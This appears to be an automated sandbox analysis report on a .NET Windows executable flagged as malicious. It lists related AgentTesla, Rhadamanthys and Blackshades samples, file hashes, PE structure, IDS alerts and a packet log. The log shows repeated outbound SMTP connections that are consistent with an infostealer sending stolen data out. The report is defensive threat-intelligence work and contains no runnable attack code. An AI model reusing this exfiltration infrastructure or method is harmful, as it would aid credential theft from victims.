208.95.112.1	LisectAVT_2403002B_109.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	LisectAVT_2403002B_253.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	s6K4JjTwtz.exe	Get hash	malicious	RHADAMANTHYS	Browse	ip-api.com/json
	IrJIw2lsaB.msi	Get hash	malicious	RHADAMANTHYS	Browse	ip-api.com/json
	ptuNVk3HeK.exe	Get hash	malicious	RHADAMANTHYS	Browse	ip-api.com/json
	uf0VrlE1bR.exe	Get hash	malicious	RHADAMANTHYS	Browse	ip-api.com/json
	XaEvV3DPc7.exe	Get hash	malicious	RHADAMANTHYS	Browse	ip-api.com/json
	LisectAVT_2403002B_264.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	LisectAVT_2403002B_330.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	ip-api.com/line/?fields=hosting
	LisectAVT_2403002B_339.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
us2.smtp.mailhostbox.com	SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	jRlq1fSUW5.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.14778.18726.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	LCWGT83qLa.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	IEnetcache.hta	Get hash	malicious	Cobalt Strike, AgentTesla, PureLog Stealer	Browse	208.91.199.225
	winiti.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.199.225
	8hOkq9mMQu.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.198.143
	0RA0ngi2c2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.91.199.225
	5CxmQXL0LD.exe	Get hash	malicious	SystemBC	Browse	208.91.199.224
ip-api.com	LisectAVT_2403002B_109.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	LisectAVT_2403002B_253.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	s6K4JjTwtz.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	IrJIw2lsaB.msi	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	ptuNVk3HeK.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	uf0VrlE1bR.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	XaEvV3DPc7.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	LisectAVT_2403002B_264.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	LisectAVT_2403002B_330.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	208.95.112.1
	LisectAVT_2403002B_339.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	SWIFT COPY.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	74.119.239.234
	LisectAVT_2403002B_465.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	jRlq1fSUW5.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.225
	SecuriteInfo.com.Win32.PWSX-gen.14778.18726.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	bJrO2iUerN.elf	Get hash	malicious	Unknown	Browse	204.11.58.71
	PO#1164031.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.24
	5RQ24SOW EPIRB_TOTAL Marine Services Ltd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.24
	LCWGT83qLa.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	https://www.google.com.au/url?q=//www.google.co.nz/amp/s/clientdevelopmentserver.com/secure/documentattached.html	Get hash	malicious	HTMLPhisher	Browse	207.174.215.2
TUT-ASUS	LisectAVT_2403002B_109.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	LisectAVT_2403002B_253.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	s6K4JjTwtz.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	IrJIw2lsaB.msi	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	ptuNVk3HeK.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	uf0VrlE1bR.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	XaEvV3DPc7.exe	Get hash	malicious	RHADAMANTHYS	Browse	208.95.112.1
	LisectAVT_2403002B_264.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	LisectAVT_2403002B_330.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	208.95.112.1
	LisectAVT_2403002B_339.exe	Get hash	malicious	AgentTesla, Bdaejec	Browse	208.95.112.1

Process:	C:\Users\user\Desktop\LisectAVT_2403002A_52.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.915152449015222
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	LisectAVT_2403002A_52.exe
File size:	749'070 bytes
MD5:	52cb8bfa6bc3ffa539d9aba0ada28842
SHA1:	12421664688e01c7500cb7c82fc67672558c6ff3
SHA256:	dadafd098dc94e3706b0e84b36042b4dced32a372c4b086d85df4a23943b88ac
SHA512:	d7dd72353f4bdea1fd944a15bbb545405b1753d9442b0c59ca0446a52b07433b258c38a80d65ee23305c54d2b70c0e9d017c307326c8c404a6112f72605887d3
SSDEEP:	12288:0g4CMwp1SZUfek6vcaB5PXpPdJFyGn7xlfmE4RA36XbiiVWAmk:LSkeklaB/1/jdlfmQQF
TLSH:	5BF41262337C6A8BDABB8BB2986544024BF3F63E6036C6ED1CC160CD58E7F411B51A57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\|..f..............0.............".... ........@.. ....................................@................................

File Icon


Icon Hash:	8b193a9ce163268d

Static PE Info

General

Entrypoint:	0x4aae22
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6600E97C [Mon Mar 25 03:03:24 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor al, 35h
xor eax, 43465138h
push eax
xor eax, 38453452h
xor dl, byte ptr [ecx+eax*2+5Ah]
push esi
dec eax
dec eax
inc ebx
inc esp
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaadcf	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xac000	0x90d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb3800	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa8a30	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa8e40	0xa9000	3b8d78bbb9c1872eaf1bd9b703aea172	False	0.939344778568787	data	7.938114305059397	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xac000	0x90d8	0x9800	4e19ba2bcfe2e018676d318479f1ba9a	False	0.9074064555921053	data	7.755276849963408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x800	cc40599b564a8342ab791e4d0a5e5a23	False	0.015625	data	0.03037337037012526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xac100	0x899d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9775185216724858
RT_GROUP_ICON	0xb4ab0	0x14	data	1.05
RT_VERSION	0xb4ad4	0x404	data	0.4270428015564202
RT_MANIFEST	0xb4ee8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T19:18:03.679925+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49712	40.68.123.157	192.168.2.5
2024-07-25T19:18:42.168834+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49719	40.68.123.157	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 19:17:46.483983994 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:17:46.493005991 CEST	80	49707	208.95.112.1	192.168.2.5
Jul 25, 2024 19:17:46.493086100 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:17:46.493830919 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:17:46.502398968 CEST	80	49707	208.95.112.1	192.168.2.5
Jul 25, 2024 19:17:47.092885971 CEST	80	49707	208.95.112.1	192.168.2.5
Jul 25, 2024 19:17:47.143152952 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:17:48.085622072 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:48.091141939 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:48.091209888 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:48.816313982 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:48.816606998 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:48.821921110 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:48.982152939 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:48.983150959 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:48.988136053 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:49.175451040 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:49.175721884 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:49.180844069 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.392841101 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.393059015 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:51.398575068 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.561068058 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.561269045 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:51.566451073 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.760955095 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.767947912 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:51.776587963 CEST	587	49708	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.776667118 CEST	49708	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:51.788527966 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:51.797761917 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:51.797851086 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:52.663439035 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.663640022 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:52.664175034 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.664237022 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:52.669482946 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.829381943 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.829596043 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:52.835753918 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.989850044 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:52.990263939 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:53.000786066 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.407084942 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.407335997 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:55.419941902 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.578852892 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.579051018 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:55.584444046 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.765598059 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.766254902 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:17:55.772351980 CEST	587	49711	208.91.198.143	192.168.2.5
Jul 25, 2024 19:17:55.772427082 CEST	49711	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:18:37.705845118 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:18:37.712671041 CEST	80	49707	208.95.112.1	192.168.2.5
Jul 25, 2024 19:18:37.712780952 CEST	49707	80	192.168.2.5	208.95.112.1
Jul 25, 2024 19:19:29.091939926 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:29.097337961 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:29.099621058 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:29.662892103 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:29.663526058 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:29.669321060 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:30.130865097 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:30.131197929 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:30.131546021 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:30.131632090 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:30.139596939 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:30.292591095 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:30.293013096 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:30.297874928 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.498332024 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.505477905 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:32.510318041 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.662017107 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.665705919 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:32.671672106 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.840616941 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.841180086 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:32.847368956 CEST	587	49720	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:32.849540949 CEST	49720	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:39.950237989 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:40.363784075 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:40.363945007 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:41.269342899 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.269584894 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:41.269702911 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.269884109 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:41.274960995 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.446901083 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.447071075 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:41.452702045 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.613581896 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:41.613826990 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:41.618647099 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.332592010 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.335664034 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:43.340538979 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.497304916 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.497589111 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:43.502693892 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.775619030 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.775917053 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:43.794966936 CEST	587	49721	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:43.795020103 CEST	49721	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:52.924412966 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:52.929861069 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:52.929961920 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:53.518883944 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:53.519040108 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:53.524415016 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:53.682846069 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:53.682990074 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:53.687809944 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:57.841155052 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:57.841419935 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:57.846259117 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.338958025 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.339984894 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:59.345957994 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.525849104 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.525981903 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:59.530983925 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.700208902 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.700404882 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:19:59.707586050 CEST	587	49722	208.91.198.143	192.168.2.5
Jul 25, 2024 19:19:59.707637072 CEST	49722	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:01.921853065 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:01.927107096 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:01.927187920 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:02.498034000 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:02.498264074 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:02.503249884 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:02.658258915 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:02.658469915 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:02.664283037 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:02.818344116 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:02.821337938 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:02.826276064 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:03.737283945 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:03.756431103 CEST	587	49723	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:03.756557941 CEST	49723	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:03.800414085 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:03.806313992 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:03.806394100 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.364473104 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.364665985 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.371001005 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.539583921 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.540036917 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.550626993 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.658833027 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.665088892 CEST	587	49724	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.665180922 CEST	49724	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.716042042 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:04.727154016 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:04.727926016 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:05.283797979 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:05.283982038 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:05.289621115 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:05.442523956 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:05.442713022 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:05.449321032 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:05.603177071 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:05.603348970 CEST	49725	587	192.168.2.5	208.91.198.143
Jul 25, 2024 19:20:05.608551979 CEST	587	49725	208.91.198.143	192.168.2.5
Jul 25, 2024 19:20:07.339443922 CEST	587	49725	208.91.198.143	192.168.2.5
